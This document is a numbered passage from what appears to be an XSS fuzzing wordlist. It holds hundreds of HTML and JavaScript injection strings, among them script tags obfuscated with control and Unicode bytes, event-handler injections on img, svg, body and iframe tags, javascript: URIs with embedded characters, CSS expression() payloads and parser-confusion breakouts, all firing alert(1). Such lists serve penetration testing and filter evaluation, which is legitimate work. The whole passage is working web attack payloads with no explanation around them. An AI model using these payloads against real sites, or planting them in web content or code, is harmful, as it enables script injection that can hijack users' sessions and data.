  1391. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  1392. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  1393. <script\x09type="text/javascript">javascript:alert(1);</script>
  1394. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  1395. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  1396. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  1397. '`"><\x3Cscript>javascript:alert(1)</script>        
  1398. '`"><\x00script>javascript:alert(1)</script>
  1399. <img src=1 href=1 onerror="javascript:alert(1)"></img>
  1400. <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
  1401. <video src=1 href=1 onerror="javascript:alert(1)"></video>
  1402. <body src=1 href=1 onerror="javascript:alert(1)"></body>
  1403. <image src=1 href=1 onerror="javascript:alert(1)"></image>
  1404. <object src=1 href=1 onerror="javascript:alert(1)"></object>
  1405. <script src=1 href=1 onerror="javascript:alert(1)"></script>
  1406. <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
  1407. <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
  1408. <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
  1409. <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
  1410. <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
  1411. <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
  1412. <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
  1413. <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
  1414. <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
  1415. <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
  1416. <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
  1417. <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
  1418. <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
  1419. <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
  1420. <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
  1421. <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
  1422. <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
  1423. <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
  1424. <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
  1425. <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
  1426. <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
  1427. <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
  1428. <applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
  1429. <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
  1430. <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
  1431. <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
  1432. <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
  1433. <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
  1434. <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
  1435. <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
  1436. <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
  1437. <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
  1438. <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
  1439. <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
  1440. <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
  1441. <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
  1442. <body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
  1443. <object onError object onError="javascript:javascript:alert(1)"></object onError>
  1444. <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
  1445. <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
  1446. <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
  1447. <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
  1448. <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
  1449. <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
  1450. <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
  1451. <body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
  1452. <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
  1453. <body onload body onload="javascript:javascript:alert(1)"></body onload>
  1454. <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
  1455. <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
  1456. <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
  1457. <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
  1458. <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
  1459. <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
  1460. <iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
  1461. <svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
  1462. <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
  1463. <body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
  1464. \x3Cscript>javascript:alert(1)</script>
  1465. '"`><script>/* *\x2Fjavascript:alert(1)// */</script>
  1466. <script>javascript:alert(1)</script\x0D
  1467. <script>javascript:alert(1)</script\x0A
  1468. <script>javascript:alert(1)</script\x0B
  1469. <script charset="\x22>javascript:alert(1)</script>
  1470. <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
  1471. --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
  1472. --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
  1473. --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
  1474. --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
  1475. `"'><img src='#\x27 onerror=javascript:alert(1)>
  1476. <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
  1477. "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
  1478. <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1479. <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1480. <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
  1481. <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
  1482. <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1483. <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1484. <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1485. <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1486. <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1487. <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1488. <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
  1489. <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1490. <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
  1491. <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
  1492. <script>/* *\x2A/javascript:alert(1)// */</script>
  1493. <script>/* *\x00/javascript:alert(1)// */</script>
  1494. <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
  1495. <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
  1496. <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
  1497. <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
  1498. <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
  1499. "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
  1500. "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
  1501. <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
  1502. <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
  1503. <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
  1504. '`"><\x3Cscript>javascript:alert(1)</script>
  1505. '`"><\x00script>javascript:alert(1)</script>
  1506. "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
  1507. "'`><\x00img src=xxx:x onerror=javascript:alert(1)>
  1508. <script src="data:text/plain\x2Cjavascript:alert(1)"></script>
  1509. <script src="data:\xD4\x8F,javascript:alert(1)"></script>
  1510. <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
  1511. <script src="data:\xCB\x8F,javascript:alert(1)"></script>
  1512. <script\x20type="text/javascript">javascript:alert(1);</script>
  1513. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  1514. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  1515. <script\x09type="text/javascript">javascript:alert(1);</script>
  1516. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  1517. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  1518. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  1519. ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
  1520. ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
  1521. ABC<div style="x:expression\x00(javascript:alert(1)">DEF
  1522. ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
  1523. ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
  1524. ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
  1525. ABC<div style="x:\x09expression(javascript:alert(1)">DEF
  1526. ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
  1527. ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
  1528. ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
  1529. ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
  1530. ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
  1531. ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
  1532. ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
  1533. ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
  1534. ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
  1535. ABC<div style="x:\x20expression(javascript:alert(1)">DEF
  1536. ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
  1537. ABC<div style="x:\x00expression(javascript:alert(1)">DEF
  1538. ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
  1539. ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
  1540. ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
  1541. ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
  1542. ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
  1543. ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
  1544. ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
  1545. ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
  1546. <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1547. <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1548. <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1549. <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1550. <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1551. <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1552. <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1553. <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1554. <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1555. <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1556. <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1557. <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1558. <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1559. <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1560. <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1561. <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1562. <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1563. <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1564. <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1565. <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1566. <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1567. <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1568. <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1569. <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1570. <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1571. <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1572. <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1573. <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1574. <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1575. <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1576. <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1577. <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1578. <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1579. <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1580. <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1581. <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1582. <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1583. <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1584. <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1585. <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1586. <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1587. <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1588. <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1589. <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1590. <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1591. <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1592. <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1593. <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1594. <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1595. <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1596. <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1597. <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  1598. <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
  1599. <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
  1600. <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
  1601. <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
  1602. <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
  1603. `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
  1604. `"'><img src=xxx:x \x22onerror=javascript:alert(1)>
  1605. `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
  1606. `"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
  1607. `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
  1608. `"'><img src=xxx:x \x09onerror=javascript:alert(1)>
  1609. `"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
  1610. `"'><img src=xxx:x \x00onerror=javascript:alert(1)>
  1611. `"'><img src=xxx:x \x27onerror=javascript:alert(1)>
  1612. `"'><img src=xxx:x \x20onerror=javascript:alert(1)>
  1613. "`'><script>\x3Bjavascript:alert(1)</script>
  1614. "`'><script>\x0Djavascript:alert(1)</script>
  1615. "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
  1616. "`'><script>\xE2\x80\x81javascript:alert(1)</script>
  1617. "`'><script>\xE2\x80\x84javascript:alert(1)</script>
  1618. "`'><script>\xE3\x80\x80javascript:alert(1)</script>
  1619. "`'><script>\x09javascript:alert(1)</script>
  1620. "`'><script>\xE2\x80\x89javascript:alert(1)</script>
  1621. "`'><script>\xE2\x80\x85javascript:alert(1)</script>
  1622. "`'><script>\xE2\x80\x88javascript:alert(1)</script>
  1623. "`'><script>\x00javascript:alert(1)</script>
  1624. "`'><script>\xE2\x80\xA8javascript:alert(1)</script>
  1625. "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
  1626. "`'><script>\xE1\x9A\x80javascript:alert(1)</script>
  1627. "`'><script>\x0Cjavascript:alert(1)</script>
  1628. "`'><script>\x2Bjavascript:alert(1)</script>
  1629. "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
  1630. "`'><script>-javascript:alert(1)</script>
  1631. "`'><script>\x0Ajavascript:alert(1)</script>
  1632. "`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
  1633. "`'><script>\x7Ejavascript:alert(1)</script>
  1634. "`'><script>\xE2\x80\x87javascript:alert(1)</script>
  1635. "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
  1636. "`'><script>\xE2\x80\xA9javascript:alert(1)</script>
  1637. "`'><script>\xC2\x85javascript:alert(1)</script>
  1638. "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
  1639. "`'><script>\xE2\x80\x83javascript:alert(1)</script>
  1640. "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
  1641. "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
  1642. "`'><script>\xE2\x80\x80javascript:alert(1)</script>
  1643. "`'><script>\x21javascript:alert(1)</script>
  1644. "`'><script>\xE2\x80\x82javascript:alert(1)</script>
  1645. "`'><script>\xE2\x80\x86javascript:alert(1)</script>
  1646. "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
  1647. "`'><script>\x0Bjavascript:alert(1)</script>
  1648. "`'><script>\x20javascript:alert(1)</script>
  1649. "`'><script>\xC2\xA0javascript:alert(1)</script>
  1650. "/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
  1651. "/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
  1652. "/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
  1653. "/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
  1654. "/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
  1655. "/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
  1656. "/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
  1657. "/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
  1658. "/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
  1659. <script\x2F>javascript:alert(1)</script>
  1660. <script\x20>javascript:alert(1)</script>
  1661. <script\x0D>javascript:alert(1)</script>
  1662. <script\x0A>javascript:alert(1)</script>
  1663. <script\x0C>javascript:alert(1)</script>
  1664. <script\x00>javascript:alert(1)</script>
  1665. <script\x09>javascript:alert(1)</script>
  1666. "><img src=x onerror=javascript:alert(1)>
  1667. "><img src=x onerror=javascript:alert('1')>
  1668. "><img src=x onerror=javascript:alert("1")>
  1669. "><img src=x onerror=javascript:alert(`1`)>
  1670. "><img src=x onerror=javascript:alert(('1'))>
  1671. "><img src=x onerror=javascript:alert(("1"))>
  1672. "><img src=x onerror=javascript:alert((`1`))>
  1673. "><img src=x onerror=javascript:alert(A)>
  1674. "><img src=x onerror=javascript:alert((A))>
  1675. "><img src=x onerror=javascript:alert(('A'))>
  1676. "><img src=x onerror=javascript:alert('A')>
  1677. "><img src=x onerror=javascript:alert(("A"))>
  1678. "><img src=x onerror=javascript:alert("A")>
  1679. "><img src=x onerror=javascript:alert((`A`))>
  1680. "><img src=x onerror=javascript:alert(`A`)>
  1681. `"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
  1682. `"'><img src=xxx:x onerror\x00=javascript:alert(1)>
  1683. `"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
  1684. `"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
  1685. `"'><img src=xxx:x onerror\x20=javascript:alert(1)>
  1686. `"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
  1687. `"'><img src=xxx:x onerror\x09=javascript:alert(1)>
  1688. <script>javascript:alert(1)<\x00/script>
  1689. <img src=# onerror\x3D"javascript:alert(1)" >
  1690. <input onfocus=javascript:alert(1) autofocus>
  1691. <input onblur=javascript:alert(1) autofocus><input autofocus>
  1692. <video poster=javascript:javascript:alert(1)//
  1693. <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  1694. <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
  1695. <video><source onerror="javascript:javascript:alert(1)">
  1696. <video onerror="javascript:javascript:alert(1)"><source>
  1697. <form><button formaction="javascript:javascript:alert(1)">X
  1698. <body oninput=javascript:alert(1)><input autofocus>
  1699. <math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
  1700. <frameset onload=javascript:alert(1)>
  1701. <table background="javascript:javascript:alert(1)">
  1702. <!--<img src="--><img src=x onerror=javascript:alert(1)//">
  1703. <comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
  1704. <![><img src="]><img src=x onerror=javascript:alert(1)//">
  1705. <style><img src="</style><img src=x onerror=javascript:alert(1)//">
  1706. <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
  1707. <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
  1708. <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
  1709. <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
  1710. <object data="data:text/html;base64,%(base64)s">
  1711. <embed src="data:text/html;base64,%(base64)s">
  1712. <b <script>alert(1)</script>0
  1713. <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
  1714. <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
  1715. <embed src="javascript:alert(1)">
  1716. <img src="javascript:alert(1)">
  1717. <image src="javascript:alert(1)">
  1718. <script src="javascript:alert(1)">
  1719. <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
  1720. <? foo="><script>javascript:alert(1)</script>">
  1721. <! foo="><script>javascript:alert(1)</script>">
  1722. </ foo="><script>javascript:alert(1)</script>">
  1723. <? foo="><x foo='?><script>javascript:alert(1)</script>'>">
  1724. <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
  1725. <% foo><x foo="%><script>javascript:alert(1)</script>">
  1726. <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
  1727. <img \x00src=x onerror="alert(1)">
  1728. <img \x47src=x onerror="javascript:alert(1)">
  1729. <img \x11src=x onerror="javascript:alert(1)">
  1730. <img \x12src=x onerror="javascript:alert(1)">
  1731. <img\x47src=x onerror="javascript:alert(1)">
  1732. <img\x10src=x onerror="javascript:alert(1)">
  1733. <img\x13src=x onerror="javascript:alert(1)">
  1734. <img\x32src=x onerror="javascript:alert(1)">
  1735. <img\x47src=x onerror="javascript:alert(1)">
  1736. <img\x11src=x onerror="javascript:alert(1)">
  1737. <img \x47src=x onerror="javascript:alert(1)">
  1738. <img \x34src=x onerror="javascript:alert(1)">
  1739. <img \x39src=x onerror="javascript:alert(1)">
  1740. <img \x00src=x onerror="javascript:alert(1)">
  1741. <img src\x09=x onerror="javascript:alert(1)">
  1742. <img src\x10=x onerror="javascript:alert(1)">
  1743. <img src\x13=x onerror="javascript:alert(1)">
  1744. <img src\x32=x onerror="javascript:alert(1)">
  1745. <img src\x12=x onerror="javascript:alert(1)">
  1746. <img src\x11=x onerror="javascript:alert(1)">
  1747. <img src\x00=x onerror="javascript:alert(1)">
  1748. <img src\x47=x onerror="javascript:alert(1)">
  1749. <img src=x\x09onerror="javascript:alert(1)">
  1750. <img src=x\x10onerror="javascript:alert(1)">
  1751. <img src=x\x11onerror="javascript:alert(1)">
  1752. <img src=x\x12onerror="javascript:alert(1)">
  1753. <img src=x\x13onerror="javascript:alert(1)">
  1754. <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
  1755. <img src=x onerror=\x09"javascript:alert(1)">
  1756. <img src=x onerror=\x10"javascript:alert(1)">
  1757. <img src=x onerror=\x11"javascript:alert(1)">
  1758. <img src=x onerror=\x12"javascript:alert(1)">
  1759. <img src=x onerror=\x32"javascript:alert(1)">
  1760. <img src=x onerror=\x00"javascript:alert(1)">
  1761. <a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
  1762. <img src="x` `<script>javascript:alert(1)</script>"` `>
  1763. <img src onerror /" '"= alt=javascript:alert(1)//">
  1764. <title onpropertychange=javascript:alert(1)></title><title title=>
  1765. <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
  1766. <!--[if]><script>javascript:alert(1)</script -->
  1767. <!--[if<img src=x onerror=javascript:alert(1)//]> -->
  1768. <script src="/\%(jscript)s"></script>
  1769. <script src="\\%(jscript)s"></script>
  1770. <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
  1771. <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
  1772. <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
  1773. <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
  1774. <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
  1775. <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
  1776. <style>*[{}@import'%(css)s?]</style>X
  1777. <div style="font-family:'foo&#10;;color:red;';">XXX
  1778. <div style="font-family:foo}color=red;">XXX
  1779. <// style=x:expression\28javascript:alert(1)\29>
  1780. <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
  1781. <div style=content:url(%(svg)s)></div>
  1782. <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
  1783. <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
  1784. <div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
  1785. <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
  1786. <div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
  1787. <x style="background:url('x&#1;;color:red;/*')">XXX</x>
  1788. <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
  1789. <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
  1790. <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
  1791. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
